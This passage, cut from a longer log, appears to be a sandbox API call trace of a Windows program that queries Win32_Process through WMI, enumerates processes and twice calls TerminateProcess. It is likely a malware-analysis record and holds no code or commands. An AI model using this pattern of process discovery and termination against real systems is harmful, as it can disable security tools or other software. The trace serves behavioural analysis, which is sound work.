wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8e6d0*=0, plFlavor=0x2d8e6d4*=0 | out: pVal=0x5e8e430*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2d8e6d0*=8, plFlavor=0x2d8e6d4*=64) returned 0x0 [0067.765] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8e724*=0, plFlavor=0x2d8e728*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8e724*=8, plFlavor=0x2d8e728*=64) returned 0x0 [0067.765] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8e74c*=0, plFlavor=0x2d8e750*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8e74c*=8, plFlavor=0x2d8e750*=64) returned 0x0 [0067.765] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8e774*=0, plFlavor=0x2d8e778*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8e774*=8, plFlavor=0x2d8e778*=64) returned 0x0 [0067.765] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e4b0 | out: puCount=0x5e8e4b0*=0x2) returned 0x0 [0067.765] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e4ac*=0x17, pszText=0x0) returned 0x0 [0067.765] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e4ac*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.766] EnumProcesses (in: lpidProcess=0x2d91ed8, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2d91ed8, lpcbNeeded=0x5e8e5a8) returned 1 [0067.767] GetLastError () returned 0x0 [0067.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3b28338, Length=0x20000, ResultLength=0x5e8e528 | out: SystemInformation=0x3b28338, ResultLength=0x5e8e528*=0xdc78) returned 0x0 [0067.769] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0067.769] GetLastError () returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5fc | out: puCount=0x5e8e5fc*=0x2) returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5f8*=0x17, pszText=0x0) returned 0x0 [0067.770] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5f8*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e584 | out: puCount=0x5e8e584*=0x2) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e580*=0x17, pszText=0x0) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e580*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.771] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.772] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.772] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.772] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.772] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.775] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0067.776] GetLastError () returned 0x0 [0067.776] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.776] GetLastError () returned 0x0 [0067.779] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0067.780] GetLastError () returned 0x0 [0067.780] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.780] GetLastError () returned 0x0 [0067.783] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x27 [0067.784] GetLastError () returned 0x0 [0067.784] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x27, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.784] GetLastError () returned 0x0 [0067.788] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b [0067.788] GetLastError () returned 0x0 [0067.788] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.788] GetLastError () returned 0x0 [0067.792] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0067.792] GetLastError () returned 0x0 [0067.792] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.792] GetLastError () returned 0x0 [0067.792] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0067.792] GetLastError () returned 0x0 [0067.796] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0067.796] GetLastError () returned 0x0 [0067.796] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.797] GetLastError () returned 0x0 [0067.797] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0067.797] GetLastError () returned 0x0 [0067.801] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0067.801] GetLastError () returned 0x0 [0067.801] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.801] GetLastError () returned 0x0 [0067.801] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0067.801] GetLastError () returned 0x0 [0067.805] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0067.806] GetLastError () returned 0x0 [0067.806] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.806] GetLastError () returned 0x0 [0067.806] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0067.806] GetLastError () returned 0x0 [0067.807] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.807] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.807] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.807] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.807] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.807] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.807] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e4b0 | out: puCount=0x5e8e4b0*=0x2) returned 0x0 [0067.807] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e4ac*=0x17, pszText=0x0) returned 0x0 [0067.807] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e4ac*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.807] EnumProcesses (in: lpidProcess=0x2db88e0, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2db88e0, lpcbNeeded=0x5e8e5a8) returned 1 [0067.808] GetLastError () returned 0x0 [0067.809] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3b48358, Length=0x20000, ResultLength=0x5e8e528 | out: SystemInformation=0x3b48358, ResultLength=0x5e8e528*=0xdc38) returned 0x0 [0067.810] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0067.811] GetLastError () returned 0x0 [0067.811] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.811] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.811] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.811] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.811] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.811] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.811] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.811] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.811] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.811] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.811] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.811] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.811] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5fc | out: puCount=0x5e8e5fc*=0x2) returned 0x0 [0067.811] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5f8*=0x17, pszText=0x0) returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5f8*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e584 | out: puCount=0x5e8e584*=0x2) returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e580*=0x17, pszText=0x0) returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e580*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.812] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.813] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.813] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.813] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.813] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.813] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.813] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.813] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.813] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.817] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0067.817] GetLastError () returned 0x0 [0067.817] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.817] GetLastError () returned 0x0 [0067.821] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33 [0067.821] GetLastError () returned 0x0 [0067.821] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x33, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.821] GetLastError () returned 0x0 [0067.825] CreateFileW (lpFileName="CONOUT$" 